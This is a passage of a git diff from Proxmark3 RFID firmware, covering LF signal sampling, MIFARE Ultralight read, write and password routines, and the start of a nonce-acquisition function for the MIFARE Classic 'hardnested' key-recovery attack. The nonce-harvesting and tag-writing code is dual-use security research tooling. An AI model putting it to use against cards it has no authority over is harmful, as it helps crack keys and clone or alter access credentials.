T55xx_READ_TOL 5 + + uint8_t *dest = BigBuf_get_addr(); + uint16_t bufsize = BigBuf_max_traceLen(); + + if ( bufsize > sample_size ) + bufsize = sample_size; + + uint8_t curSample = 0, lastSample = 0; + uint16_t i = 0, skipCnt = 0; + bool startFound = false; + bool highFound = false; + bool lowFound = false; + + while(!BUTTON_PRESS() && !usb_poll_validate_length() && skipCnt < 1000 && (i < bufsize) ) { + WDT_HIT(); + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { + AT91C_BASE_SSC->SSC_THR = 0x43; //43 + LED_D_ON(); + } + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { + curSample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + LED_D_OFF(); + + // skip until the first high sample above threshold + if (!startFound && curSample > T55xx_READ_UPPER_THRESHOLD) { + //if (curSample > lastSample) + // lastSample = curSample; + highFound = true; + } else if (!highFound) { + skipCnt++; + continue; + } + // skip until the first low sample below threshold + if (!startFound && curSample < T55xx_READ_LOWER_THRESHOLD) { + //if (curSample > lastSample) + lastSample = curSample; + lowFound = true; + } else if (!lowFound) { + skipCnt++; + continue; + } + + // skip until first high samples begin to change + if (startFound || curSample > T55xx_READ_LOWER_THRESHOLD + T55xx_READ_TOL){ + // if just found start - recover last sample + if (!startFound) { + dest[i++] = lastSample; + startFound = true; + } + // collect samples + dest[i++] = curSample; + } + } + } +} +/** +* acquisition of Cotag LF signal. Similart to other LF, since the Cotag has such long datarate RF/384 +* and is Manchester?, we directly gather the manchester data into bigbuff +**/ + +#define COTAG_T1 384 +#define COTAG_T2 (COTAG_T1>>1) +#define COTAG_ONE_THRESHOLD 128+30 +#define COTAG_ZERO_THRESHOLD 128-30 +#ifndef COTAG_BITS +#define COTAG_BITS 264 +#endif +void doCotagAcquisition(size_t sample_size) { + + uint8_t *dest = BigBuf_get_addr(); + uint16_t bufsize = BigBuf_max_traceLen(); + + if ( bufsize > sample_size ) + bufsize = sample_size; + + dest[0] = 0; + uint8_t sample = 0, firsthigh = 0, firstlow = 0; + uint16_t i = 0; + uint16_t noise_counter = 0; + + while (!BUTTON_PRESS() && !usb_poll_validate_length() && (i < bufsize) && (noise_counter < (COTAG_T1 << 1)) ) { + WDT_HIT(); + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { + AT91C_BASE_SSC->SSC_THR = 0x43; + LED_D_ON(); + } + + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { + sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + LED_D_OFF(); + + // find first peak + if ( !firsthigh ) { + if (sample < COTAG_ONE_THRESHOLD) { + noise_counter++; + continue; + } + noise_counter = 0; + firsthigh = 1; + } + if ( !firstlow ){ + if (sample > COTAG_ZERO_THRESHOLD ) { + noise_counter++; + continue; + } + noise_counter = 0; + firstlow = 1; + } + + ++i; + + if ( sample > COTAG_ONE_THRESHOLD) + dest[i] = 255; + else if ( sample < COTAG_ZERO_THRESHOLD) + dest[i] = 0; + else + dest[i] = dest[i-1]; + } + } +} + +uint32_t doCotagAcquisitionManchester() { + + uint8_t *dest = BigBuf_get_addr(); + uint16_t bufsize = BigBuf_max_traceLen(); + + if ( bufsize > COTAG_BITS ) + bufsize = COTAG_BITS; + + dest[0] = 0; + uint8_t sample = 0, firsthigh = 0, firstlow = 0; + uint16_t sample_counter = 0, period = 0; + uint8_t curr = 0, prev = 0; + + while (!BUTTON_PRESS() && !usb_poll_validate_length() && (sample_counter < bufsize) ) { + WDT_HIT(); + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { + AT91C_BASE_SSC->SSC_THR = 0x43; + LED_D_ON(); + } + + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { + sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + LED_D_OFF(); + + // find first peak + if ( !firsthigh ) { + if (sample < COTAG_ONE_THRESHOLD) + continue; + firsthigh = 1; + } + + if ( !firstlow ){ + if (sample > COTAG_ZERO_THRESHOLD ) + continue; + firstlow = 1; + } + + // set sample 255, 0, or previous + if ( sample > COTAG_ONE_THRESHOLD){ + prev = curr; + curr = 1; + } + else if ( sample < COTAG_ZERO_THRESHOLD) { + prev = curr; + curr = 0; + } + else { + curr = prev; + } + + // full T1 periods, + if ( period > 0 ) { + --period; + continue; + } + + dest[sample_counter] = curr; + ++sample_counter; + period = COTAG_T1; + } + } + return sample_counter; +} \ No newline at end of file diff --git a/armsrc/lfsampling.h b/armsrc/lfsampling.h new file mode 100644 index 000000000..aadf0a822 --- /dev/null +++ b/armsrc/lfsampling.h @@ -0,0 +1,86 @@ +#ifndef __LFSAMPLING_H +#define __LFSAMPLING_H + +#include "proxmark3.h" +#include "apps.h" +#include "util.h" +#include "string.h" +#include "usb_cdc.h" // for usb_poll_validate_length +#include "ticks.h" // for StartTicks + +typedef struct BitstreamOut BitstreamOut; + +/** +* acquisition of Cotag LF signal. Similar to other LF, since the Cotag has such long datarate RF/384 +* and is Manchester?, we directly gather the manchester data into bigbuff +**/ +void doCotagAcquisition(size_t sample_size); +uint32_t doCotagAcquisitionManchester(void); + +/** +* acquisition of T55x7 LF signal. Similar to other LF, but adjusted with @marshmellows thresholds +* the data is collected in BigBuf. +**/ +void doT55x7Acquisition(size_t sample_size); + +/** +* Initializes the FPGA for reader-mode (field on), and acquires the samples. +* @return number of bits sampled +**/ +uint32_t SampleLF(bool silent, int sample_size); + +/** +* Initializes the FPGA for snoop-mode (field off), and acquires the samples. +* @return number of bits sampled +**/ +uint32_t SnoopLF(); + +// adds sample size to default options +uint32_t DoPartialAcquisition(int trigger_threshold, bool silent, int sample_size, uint32_t cancel_after); + +/** + * @brief Does sample acquisition, ignoring the config values set in the sample_config. + * This method is typically used by tag-specific readers who just wants to read the samples + * the normal way + * @param trigger_threshold + * @param silent + * @return number of bits sampled + */ +uint32_t DoAcquisition_default(int trigger_threshold, bool silent); +/** + * @brief Does sample acquisition, using the config values set in the sample_config. + * @param trigger_threshold + * @param silent + * @return number of bits sampled + */ + +uint32_t DoAcquisition_config(bool silent, int sample_size); + +/** +* Setup the FPGA to listen for samples. This method downloads the FPGA bitstream +* if not already loaded, sets divisor and starts up the antenna. +* @param divisor : 1, 88> 255 or negative ==> 134.8 KHz +* 0 or 95 ==> 125 KHz +* +**/ +void LFSetupFPGAForADC(int divisor, bool lf_field); + +/** + * Called from the USB-handler to set the sampling configuration + * The sampling config is used for std reading and snooping. + * + * Other functions may read samples and ignore the sampling config, + * such as functions to read the UID from a prox tag or similar. + * + * Values set to '0' implies no change (except for averaging) + * @brief setSamplingConfig + * @param sc + */ +void setSamplingConfig(sample_config *sc); + +sample_config * getSamplingConfig(); + +void printConfig(); + + +#endif // __LFSAMPLING_H diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index 42dee56ec..fcfe99134 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -2,6 +2,9 @@ // Merlok - June 2011, 2012 // Gerhard de Koning Gans - May 2008 // Hagen Fritsch - June 2010 +// Midnitesnake - Dec 2013 +// Andy Davies - Apr 2014 +// Iceman - May 2014,2015,2016 // // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of @@ -11,7 +14,25 @@ //----------------------------------------------------------------------------- #include "mifarecmd.h" -#include "apps.h" +#include + +#ifndef HARDNESTED_AUTHENTICATION_TIMEOUT +# define HARDNESTED_AUTHENTICATION_TIMEOUT 848 //848 // card times out 1ms after wrong authentication (according to NXP documentation) +#endif +#ifndef HARDNESTED_PRE_AUTHENTICATION_LEADTIME +# define HARDNESTED_PRE_AUTHENTICATION_LEADTIME 400 // some (non standard) cards need a pause after select before they are ready for first authentication +#endif + +// send an incomplete dummy response in order to trigger the card's authentication failure timeout +#ifndef CHK_TIMEOUT +# define CHK_TIMEOUT() { \ + ReaderTransmit(&dummy_answer, 1, NULL); \ + uint32_t timeout = GetCountSspClk() + HARDNESTED_AUTHENTICATION_TIMEOUT; \ + while (GetCountSspClk() < timeout) {}; \ + } +#endif + +static uint8_t dummy_answer = 0; //----------------------------------------------------------------------------- // Select, Authenticate, Read a MIFARE tag. @@ -27,25 +48,24 @@ void MifareReadBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) // variables byte_t isOK = 0; - byte_t dataoutbuf[16]; - uint8_t uid[10]; - uint32_t cuid; + byte_t dataoutbuf[16] = {0x00}; + uint8_t uid[10] = {0x00}; + uint32_t cuid = 0; struct Crypto1State mpcs = {0, 0}; struct Crypto1State *pcs; pcs = &mpcs; - // clear trace - iso14a_clear_trace(); -// iso14a_set_tracing(false); - iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + clear_trace(); + set_tracing(true); + LED_A_ON(); LED_B_OFF(); LED_C_OFF(); while (true) { - if(!iso14443a_select_card(uid, NULL, &cuid)) { + if(!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); break; }; @@ -69,7 +89,6 @@ void MifareReadBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) break; } - // ----------------------------- crypto1 destroy crypto1_destroy(pcs); if (MF_DBGLEVEL >= 2) DbpString("READ BLOCK FINISHED"); @@ -78,68 +97,103 @@ void MifareReadBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) cmd_send(CMD_ACK,isOK,0,0,dataoutbuf,16); LED_B_OFF(); - // Thats it... FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); -// iso14a_set_tracing(TRUE); - } -void MifareUReadBlock(uint8_t arg0,uint8_t *datain) -{ - // params - uint8_t blockNo = arg0; - - // variables - byte_t isOK = 0; - byte_t dataoutbuf[16]; - uint8_t uid[10]; - uint32_t cuid; - - // clear trace - iso14a_clear_trace(); +void MifareUC_Auth(uint8_t arg0, uint8_t *keybytes){ + + bool turnOffField = (arg0 == 1); + + LED_A_ON(); LED_B_OFF(); LED_C_OFF(); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); - - LED_A_ON(); - LED_B_OFF(); - LED_C_OFF(); - - while (true) { - if(!iso14443a_select_card(uid, NULL, &cuid)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); - break; - }; - - if(mifare_ultra_readblock(cuid, blockNo, dataoutbuf)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Read block error"); - break; - }; - - if(mifare_ultra_halt(cuid)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Halt error"); - break; - }; - - isOK = 1; - break; - } + + clear_trace(); + set_tracing(true); + + if(!iso14443a_select_card(NULL, NULL, NULL, true, 0, true)) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Can't select card"); + OnError(0); + return; + }; - if (MF_DBGLEVEL >= 2) DbpString("READ BLOCK FINISHED"); - - // add trace trailer - memset(uid, 0x44, 4); - LogTrace(uid, 4, 0, 0, TRUE); - LED_B_ON(); - cmd_send(CMD_ACK,isOK,0,0,dataoutbuf,16); - LED_B_OFF(); - - - // Thats it... + if(!mifare_ultra_auth(keybytes)){ + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Authentication failed"); + OnError(1); + return; + } + + if (turnOffField) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + } + cmd_send(CMD_ACK,1,0,0,0,0); +} + +// Arg0 = BlockNo, +// Arg1 = UsePwd bool +// datain = PWD bytes, +void MifareUReadBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain) +{ + uint8_t blockNo = arg0; + byte_t dataout[16] = {0x00}; + bool useKey = (arg1 == 1); //UL_C + bool usePwd = (arg1 == 2); //UL_EV1/NTAG + + LEDsoff(); + LED_A_ON(); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + clear_trace(); + set_tracing(true); + + int len = iso14443a_select_card(NULL, NULL, NULL, true, 0, true); + if(!len) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Can't select card (RC:%02X)",len); + OnError(1); + return; + } + + // UL-C authentication + if ( useKey ) { + uint8_t key[16] = {0x00}; + memcpy(key, datain, sizeof(key) ); + + if ( !mifare_ultra_auth(key) ) { + OnError(1); + return; + } + } + + // UL-EV1 / NTAG authentication + if ( usePwd ) { + uint8_t pwd[4] = {0x00}; + memcpy(pwd, datain, 4); + uint8_t pack[4] = {0,0,0,0}; + if (!mifare_ul_ev1_auth(pwd, pack)) { + OnError(1); + return; + } + } + + if( mifare_ultra_readblock(blockNo, dataout) ) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Read block error"); + OnError(2); + return; + } + + if( mifare_ultra_halt() ) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Halt error"); + OnError(3); + return; + } + + cmd_send(CMD_ACK,1,0,0,dataout,16); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); } - //----------------------------------------------------------------------------- // Select, Authenticate, Read a MIFARE tag. // read sector (data = 4 x 16 bytes = 64 bytes, or 16 x 16 bytes = 256 bytes) @@ -153,30 +207,29 @@ void MifareReadSector(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) ui64Key = bytes_to_num(datain, 6); // variables - byte_t isOK; + byte_t isOK = 0; byte_t dataoutbuf[16 * 16]; - uint8_t uid[10]; - uint32_t cuid; + uint8_t uid[10] = {0x00}; + uint32_t cuid = 0; struct Crypto1State mpcs = {0, 0}; struct Crypto1State *pcs; pcs = &mpcs; - // clear trace - iso14a_clear_trace(); -// iso14a_set_tracing(false); - iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + clear_trace(); + set_tracing(true); + LED_A_ON(); LED_B_OFF(); LED_C_OFF(); isOK = 1; - if(!iso14443a_select_card(uid, NULL, &cuid)) { + if(!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { isOK = 0; if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); } - + if(isOK && mifare_classic_auth(pcs, cuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_FIRST)) { isOK = 0; @@ -195,77 +248,118 @@ void MifareReadSector(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) if (MF_DBGLEVEL >= 1) Dbprintf("Halt error"); } - - // ----------------------------- crypto1 destroy - crypto1_destroy(pcs); - if (MF_DBGLEVEL >= 2) DbpString("READ SECTOR FINISHED"); + crypto1_destroy(pcs); + LED_B_ON(); cmd_send(CMD_ACK,isOK,0,0,dataoutbuf,16*NumBlocksPerSector(sectorNo)); LED_B_OFF(); - // Thats it... FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); -// iso14a_set_tracing(TRUE); + set_tracing(false); } - -void MifareUReadCard(uint8_t arg0, uint8_t *datain) +// arg0 = blockNo (start) +// arg1 = Pages (number of blocks) +// arg2 = useKey +// datain = KEY bytes +void MifareUReadCard(uint8_t arg0, uint16_t arg1, uint8_t arg2, uint8_t *datain) { - // params - uint8_t sectorNo = arg0; - - // variables - byte_t isOK = 0; - byte_t dataoutbuf[16 * 4]; - uint8_t uid[10]; - uint32_t cuid; + LEDsoff(); + LED_A_ON(); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); - // clear trace - iso14a_clear_trace(); -// iso14a_set_tracing(false); + // free eventually allocated BigBuf memory + BigBuf_free(); BigBuf_Clear_ext(false); + clear_trace(); + set_tracing(true); + + // params + uint8_t blockNo = arg0; + uint16_t blocks = arg1; + bool useKey = (arg2 == 1); //UL_C + bool usePwd = (arg2 == 2); //UL_EV1/NTAG + uint32_t countblocks = 0; + uint8_t *dataout = BigBuf_malloc(CARD_MEMORY_SIZE); + if (dataout == NULL){ + Dbprintf("out of memory"); + OnError(1); + return; + } - iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + int len = iso14443a_select_card(NULL, NULL, NULL, true, 0, true); + if (!len) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Can't select card (RC:%d)",len); + OnError(1); + return; + } - LED_A_ON(); - LED_B_OFF(); - LED_C_OFF(); + // UL-C authentication + if ( useKey ) { + uint8_t key[16] = {0x00}; + memcpy(key, datain, sizeof(key) ); - while (true) { - if(!iso14443a_select_card(uid, NULL, &cuid)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); - break; - }; - for(int sec=0;sec<16;sec++){ - if(mifare_ultra_readblock(cuid, sectorNo * 4 + sec, dataoutbuf + 4 * sec)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Read block %d error",sec); - break; - }; - } - if(mifare_ultra_halt(cuid)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Halt error"); - break; - }; + if ( !mifare_ultra_auth(key) ) { + OnError(1); + return; + } + } - isOK = 1; - break; - } - - if (MF_DBGLEVEL >= 2) DbpString("READ CARD FINISHED"); + // UL-EV1 / NTAG authentication + if (usePwd) { + uint8_t pwd[4] = {0x00}; + memcpy(pwd, datain, sizeof(pwd)); + uint8_t pack[4] = {0,0,0,0}; - LED_B_ON(); - cmd_send(CMD_ACK,isOK,0,0,dataoutbuf,64); - LED_B_OFF(); + if (!mifare_ul_ev1_auth(pwd, pack)){ + OnError(1); + return; + } + } - // Thats it... - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - LEDsoff(); + for (int i = 0; i < blocks; i++){ + if ((i*4) + 4 >= CARD_MEMORY_SIZE) { + Dbprintf("Data exceeds buffer!!"); + break; + } + len = mifare_ultra_readblock(blockNo + i, dataout + 4 * i); + + if (len) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Read block %d error",i); + // if no blocks read - error out + if (i == 0) { + OnError(2); + return; + } else { + //stop at last successful read block and return what we got + break; + } + } else { + countblocks++; + } + } + + len = mifare_ultra_halt(); + if (len) { + if (MF_DBGLEVEL >= MF_DBG_ERROR) Dbprintf("Halt error"); + OnError(3); + return; + } + + if (MF_DBGLEVEL >= MF_DBG_EXTENDED) Dbprintf("Blocks read %d", countblocks); + + countblocks *= 4; + + cmd_send(CMD_ACK, 1, countblocks, BigBuf_max_traceLen(), 0, 0); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + BigBuf_free(); + set_tracing(false); } - //----------------------------------------------------------------------------- // Select, Authenticate, Write a MIFARE tag. // read block @@ -276,31 +370,30 @@ void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) uint8_t blockNo = arg0; uint8_t keyType = arg1; uint64_t ui64Key = 0; - byte_t blockdata[16]; + byte_t blockdata[16] = {0x00}; ui64Key = bytes_to_num(datain, 6); memcpy(blockdata, datain + 10, 16); // variables byte_t isOK = 0; - uint8_t uid[10]; - uint32_t cuid; + uint8_t uid[10] = {0x00}; + uint32_t cuid = 0; struct Crypto1State mpcs = {0, 0}; struct Crypto1State *pcs; pcs = &mpcs; - // clear trace - iso14a_clear_trace(); -// iso14a_set_tracing(false); - iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + clear_trace(); + set_tracing(true); + LED_A_ON(); LED_B_OFF(); LED_C_OFF(); while (true) { - if(!iso14443a_select_card(uid, NULL, &cuid)) { + if(!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); break; }; @@ -324,145 +417,418 @@ void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) break; } - // ----------------------------- crypto1 destroy crypto1_destroy(pcs); if (MF_DBGLEVEL >= 2) DbpString("WRITE BLOCK FINISHED"); - LED_B_ON(); cmd_send(CMD_ACK,isOK,0,0,0,0); - LED_B_OFF(); - - // Thats it... FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); -// iso14a_set_tracing(TRUE); - + set_tracing(false); } - -void MifareUWriteBlock(uint8_t arg0, uint8_t *datain) +/* // Command not needed but left for future testing +void MifareUWriteBlockCompat(uint8_t arg0, uint8_t *datain) { - // params - uint8_t blockNo = arg0; - byte_t blockdata[16]; - - memset(blockdata,'\0',16); - memcpy(blockdata, datain,16); - - // variables - byte_t isOK = 0; - uint8_t uid[10]; - uint32_t cuid; - - // clear trace - iso14a_clear_trace(); - // iso14a_set_tracing(false); - - iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); - - LED_A_ON(); - LED_B_OFF(); - LED_C_OFF(); - - while (true) { - if(!iso14443a_select_card(uid, NULL, &cuid)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); - break; - }; - - if(mifare_ultra_writeblock(cuid, blockNo, blockdata)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Write block error"); - break; - }; - - if(mifare_ultra_halt(cuid)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Halt error"); - break; - }; - - isOK = 1; - break; - } - - if (MF_DBGLEVEL >= 2) DbpString("WRITE BLOCK FINISHED"); - - LED_B_ON(); - cmd_send(CMD_ACK,isOK,0,0,0,0); - LED_B_OFF(); - - - // Thats it... - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - LEDsoff(); -// iso14a_set_tracing(TRUE); -} - - -void MifareUWriteBlock_Special(uint8_t arg0, uint8_t *datain) -{ - // params uint8_t blockNo = arg0; - byte_t blockdata[4]; - - memcpy(blockdata, datain,4); + byte_t blockdata[16] = {0x00}; - // variables - byte_t isOK = 0; - uint8_t uid[10]; - uint32_t cuid; + memcpy(blockdata, datain, 16); - // clear trace - iso14a_clear_trace(); - // iso14a_set_tracing(false); + uint8_t uid[10] = {0x00}; + LED_A_ON(); LED_B_OFF(); LED_C_OFF(); + + clear_trace(); + set_tracing(true); iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); - LED_A_ON(); - LED_B_OFF(); - LED_C_OFF(); + if(!iso14443a_select_card(uid, NULL, NULL, true, 0, true)) { + if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); + OnError(0); + return; + }; - while (true) { - if(!iso14443a_select_card(uid, NULL, &cuid)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); - break; - }; + if(mifare_ultra_writeblock_compat(blockNo, blockdata)) { + if (MF_DBGLEVEL >= 1) Dbprintf("Write block error"); + OnError(0); + return; }; - if(mifare_ultra_special_writeblock(cuid, blockNo, blockdata)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Write block error"); - break; - }; - - if(mifare_ultra_halt(cuid)) { - if (MF_DBGLEVEL >= 1) Dbprintf("Halt error"); - break; - }; - - isOK = 1; - break; - } + if(mifare_ultra_halt()) { + if (MF_DBGLEVEL >= 1) Dbprintf("Halt error"); + OnError(0); + return; + }; if (MF_DBGLEVEL >= 2) DbpString("WRITE BLOCK FINISHED"); - LED_B_ON(); - cmd_send(CMD_ACK,isOK,0,0,0,0); - LED_B_OFF(); - - - // Thats it... + cmd_send(CMD_ACK,1,0,0,0,0); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); -// iso14a_set_tracing(TRUE); +} +*/ +// Arg0 : Block to write to. +// Arg1 : 0 = use no authentication. +// 1 = use 0x1A authentication. +// 2 = use 0x1B authentication. +// datain : 4 first bytes is data to be written. +// : 4/16 next bytes is authentication key. +void MifareUWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain) +{ + uint8_t blockNo = arg0; + bool useKey = (arg1 == 1); //UL_C + bool usePwd = (arg1 == 2); //UL_EV1/NTAG + byte_t blockdata[4] = {0x00}; + + memcpy(blockdata, datain, 4); + + LEDsoff(); + LED_A_ON(); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + clear_trace(); + set_tracing(true); + + if (!iso14443a_select_card(NULL, NULL, NULL, true, 0, true)) { + if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); + OnError(0); + return; + }; + + // UL-C authentication + if ( useKey ) { + uint8_t key[16] = {0x00}; + memcpy(key, datain+4, sizeof(key) ); + + if ( !mifare_ultra_auth(key) ) { + OnError(1); + return; + } + } + + // UL-EV1 / NTAG authentication + if (usePwd) { + uint8_t pwd[4] = {0x00}; + memcpy(pwd, datain+4, 4); + uint8_t pack[4] = {0,0,0,0}; + if (!mifare_ul_ev1_auth(pwd, pack)) { + OnError(1); + return; + } + } + + if (mifare_ultra_writeblock(blockNo, blockdata)) { + if (MF_DBGLEVEL >= 1) Dbprintf("Write block error"); + OnError(0); + return; + }; + + if (mifare_ultra_halt()) { + if (MF_DBGLEVEL >= 1) Dbprintf("Halt error"); + OnError(0); + return; + }; + + if (MF_DBGLEVEL >= 2) DbpString("WRITE BLOCK FINISHED"); + + cmd_send(CMD_ACK,1,0,0,0,0); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + set_tracing(false); } +void MifareUSetPwd(uint8_t arg0, uint8_t *datain){ + + uint8_t pwd[16] = {0x00}; + byte_t blockdata[4] = {0x00}; + + memcpy(pwd, datain, 16); + + LED_A_ON(); LED_B_OFF(); LED_C_OFF(); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + clear_trace(); + set_tracing(true); + + if (!iso14443a_select_card(NULL, NULL, NULL, true, 0, true)) { + if (MF_DBGLEVEL >= 1) Dbprintf("Can't select card"); + OnError(0); + return; + }; + + blockdata[0] = pwd[7]; + blockdata[1] = pwd[6]; + blockdata[2] = pwd[5]; + blockdata[3] = pwd[4]; + if (mifare_ultra_writeblock( 44, blockdata)) { + if (MF_DBGLEVEL >= 1) Dbprintf("Write block error"); + OnError(44); + return; + }; + + blockdata[0] = pwd[3]; + blockdata[1] = pwd[2]; + blockdata[2] = pwd[1]; + blockdata[3] = pwd[0]; + if (mifare_ultra_writeblock( 45, blockdata)) { + if (MF_DBGLEVEL >= 1) Dbprintf("Write block error"); + OnError(45); + return; + }; + + blockdata[0] = pwd[15]; + blockdata[1] = pwd[14]; + blockdata[2] = pwd[13]; + blockdata[3] = pwd[12]; + if (mifare_ultra_writeblock( 46, blockdata)) { + if (MF_DBGLEVEL >= 1) Dbprintf("Write block error"); + OnError(46); + return; + }; + + blockdata[0] = pwd[11]; + blockdata[1] = pwd[10]; + blockdata[2] = pwd[9]; + blockdata[3] = pwd[8]; + if (mifare_ultra_writeblock( 47, blockdata)) { + if (MF_DBGLEVEL >= 1) Dbprintf("Write block error"); + OnError(47); + return; + }; + + if (mifare_ultra_halt()) { + if (MF_DBGLEVEL >= 1) Dbprintf("Halt error"); + OnError(0); + return; + }; + + cmd_send(CMD_ACK,1,0,0,0,0); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + set_tracing(false); +} // Return 1 if the nonce is invalid else return 0 -int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, byte_t * parity) { - return ((oddparity((Nt >> 24) & 0xFF) == ((parity[0]) ^ oddparity((NtEnc >> 24) & 0xFF) ^ BIT(Ks1,16))) & \ - (oddparity((Nt >> 16) & 0xFF) == ((parity[1]) ^ oddparity((NtEnc >> 16) & 0xFF) ^ BIT(Ks1,8))) & \ - (oddparity((Nt >> 8) & 0xFF) == ((parity[2]) ^ oddparity((NtEnc >> 8) & 0xFF) ^ BIT(Ks1,0)))) ? 1 : 0; +int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity) { + return ((oddparity8((Nt >> 24) & 0xFF) == ((parity[0]) ^ oddparity8((NtEnc >> 24) & 0xFF) ^ BIT(Ks1,16))) & \ + (oddparity8((Nt >> 16) & 0xFF) == ((parity[1]) ^ oddparity8((NtEnc >> 16) & 0xFF) ^ BIT(Ks1,8))) & \ + (oddparity8((Nt >> 8) & 0xFF) == ((parity[2]) ^ oddparity8((NtEnc >> 8) & 0xFF) ^ BIT(Ks1,0)))) ? 1 : 0; +} + +void MifareAcquireNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain) { + + uint8_t uid[10] = {0x00}; + uint8_t answer[MAX_MIFARE_FRAME_SIZE] = {0x00}; + uint8_t par[1] = {0x00}; + uint8_t buf[USB_CMD_DATA_SIZE] = {0x00}; + uint32_t cuid = 0; + int16_t isOK = 0; + uint16_t num_nonces = 0; + uint8_t cascade_levels = 0; + uint8_t blockNo = arg0 & 0xff; + uint8_t keyType = (arg0 >> 8) & 0xff; + bool initialize = flags & 0x0001; + bool field_off = flags & 0x0004; + bool have_uid = false; + + LED_A_ON(); + LED_C_OFF(); + + BigBuf_free(); BigBuf_Clear_ext(false); + clear_trace(); + set_tracing(true); + + if (initialize) + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + LED_C_ON(); + + for (uint16_t i = 0; i <= USB_CMD_DATA_SIZE-4; i += 4 ) { + + // Test if the action was cancelled + if (BUTTON_PRESS()) { + isOK = 2; + field_off = true; + break; + } + + if (!have_uid) { // need a full select cycle to get the uid first + iso14a_card_select_t card_info; + if (!iso14443a_select_card(uid, &card_info, &cuid, true, 0, true)) { + if (MF_DBGLEVEL >= 1) Dbprintf("AcquireNonces: Can't select card (ALL)"); + continue; + } + switch (card_info.uidlen) { + case 4 : cascade_levels = 1; break; + case 7 : cascade_levels = 2; break; + case 10: cascade_levels = 3; break; + default: break; + } + have_uid = true; + } else { // no need for anticollision. We can directly select the card + if (!iso14443a_fast_select_card(uid, cascade_levels)) { + if (MF_DBGLEVEL >= 1) Dbprintf("AcquireNonces: Can't select card (UID)"); + continue; + } + } + + // Transmit MIFARE_CLASSIC_AUTH + uint8_t dcmd[4] = {0x60 + (keyType & 0x01), blockNo, 0x00, 0x00}; + 